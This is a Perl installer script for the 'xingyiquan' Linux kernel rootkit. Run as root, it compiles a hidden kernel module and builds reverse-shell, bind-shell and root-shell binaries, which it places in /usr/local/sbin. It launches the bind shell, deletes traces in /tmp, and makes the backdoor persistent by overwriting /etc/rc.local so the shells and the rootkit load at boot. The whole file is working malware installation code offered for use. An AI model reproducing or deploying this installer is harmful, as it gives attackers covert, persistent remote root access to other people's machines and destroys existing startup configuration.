#!/usr/bin/perl -U
=pod
 * xingyiquan - r00tk1t installer for linux kernel 2.6.x and 3.x
 *  (c) Copyright by RingLayer All Rights Reserved 
 * Developed by Sw0rdm4n
 * 
 * Official Website : www.ringlayer.net
 * 
 * 
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>. *
 *
 *
 *
DISCLAIMER !!!
Author takes no responsibility for any abuse of this software. 
=cut

use strict;
use warnings;

sub __error()
{
	print "[-] installation failed ! please check error message !";
	exit;
}

sub _check_priv()
{
	my $id;	

	$id = getpwuid($<);
	
	if ($id ne "root") {
		print "[-] error ! installation must be set with uid 0 (root), can not continue ! exit !\n";
		exit;
	}
	else {
		print "[+] installing as root user !\n";
	}
}

sub _install()
{
	my $rc;	
	my $result;
	my $line;
	my $lkm_result;
	
	$result = "failed";
	system("gcc -o xingyi_addr xingyi_addr.c -Wall");
	if (-e "xingyi_addr") {
		open(CEK, "./xingyi_addr |");
      		while (<CEK>) {
	       		$result .=  $_;
			$line =  $_;
			print $line;
			sleep 1;
		}
		close(CEK);
		if ($result =~/ready/) {
			if (-e "/usr/local/sbin") {
				print "[+] path ready\n";
			}
			else {
				system("mkdir /usr/local");
				system("mkdir /usr/local/sbin");
			}
			open(CEK_LKM, "cd xingyi_kernel_src;make |");
			while (<CEK_LKM>) {
	       			$lkm_result .=  $_;
				$line =  $_;
				print $line;
			}
			close(CEK_LKM);
			if ($result =~/error/) {
				__error();
			}
			if (-e "xingyi_kernel_src/xingyiquan.ko") {
				print "[+] lkm compiled successfully !\n";
			}
			else {
				__error();
			}
			system("killall -9 xingyi_bindshell");
			system("cd xingyi_userspace_src;gcc -o xingyi_reverse_shell xingyi_reverse_shell.c;gcc -o xingyi_bindshell xingyi_bindshell.c -Wall");
			if (-e "xingyi_userspace_src/xingyi_reverse_shell" && -e "xingyi_userspace_src/xingyi_bindshell") {
				system("/bin/cp -rf xingyi_userspace_src/xingyi_reverse_shell /usr/local/sbin/xingyi_reverse_shell");
				system("/bin/cp -rf xingyi_userspace_src/xingyi_bindshell /usr/local/sbin/xingyi_bindshell");	
				system("/bin/rm -rf /tmp/xingyi*");
			}
			else {
				__error();
			}
			if (-e "/usr/local/sbin/xingyi_reverse_shell" && -e "/usr/local/sbin/xingyi_bindshell") {
				print "[+] userspace binary ready to use !\n";
			}
			else {
				__error();
			}
			#setting up rootsh3ll
			system("cd xingyi_userspace_src;gcc -o xingyi_rootshell xingyi_rootshell.c; /bin/cp -rf xingyi_rootshell /usr/local/sbin/xingyi_rootshell");
			if (-e "/usr/local/sbin/xingyi_rootshell") {
				printf("[+] xingyi_rootshell ready on /usr/local/sbin !");
			}
			else {
				__error();
			}
			system("/usr/local/sbin/xingyi_bindshell");		
		}
		else {
			__error();
		}
	}
	else {
		__error();
	}
}

sub _install_rc()
{
	my $rc;
	open(CEK, "pwd |");
	while (<CEK>) {
		$rc .=  $_;
	}
	close(CEK);
	chomp($rc);
	system("rm xingyi_rc.sh;touch xingyi_rc.sh");
	open(FILE, '>> xingyi_rc.sh');
	print FILE "sleep 90\n";
	print FILE "/usr/local/sbin/xingyi_bindshell\n";
	print FILE "cd " . $rc . "/xingyi_kernel_src/;insmod xingyiquan.ko";
	close(FILE);
	system("/bin/cp -rf  xingyi_rc.sh /usr/local/sbin;chmod +x /usr/local/sbin/xingyi_rc.sh");
	if (-e "/etc/rc.local") {
		system("echo '/usr/local/sbin/xingyi_rc.sh &' > /etc/rc.local");
	}
}

_check_priv();
_install();
_install_rc();
sleep 2;
system("cd xingyi_kernel_src;insmod xingyiquan.ko");
print "\n[+] your rootkit installed ! \n";
